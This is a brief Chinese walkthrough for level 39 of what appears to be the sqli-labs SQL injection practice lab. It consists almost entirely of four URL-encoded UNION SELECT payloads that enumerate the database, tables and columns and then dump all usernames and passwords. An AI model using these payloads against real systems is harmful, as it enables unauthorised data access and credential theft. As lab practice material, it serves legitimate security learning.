Less(39)
1.和Less(38)差不多
2.爆破
(1)爆库:?id=0%9 union select 1,2,database() %23
(2)爆表:?id=0%9 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
(3)爆列名:?id=0%9 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" %23
(4)爆值:?id=0%9 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23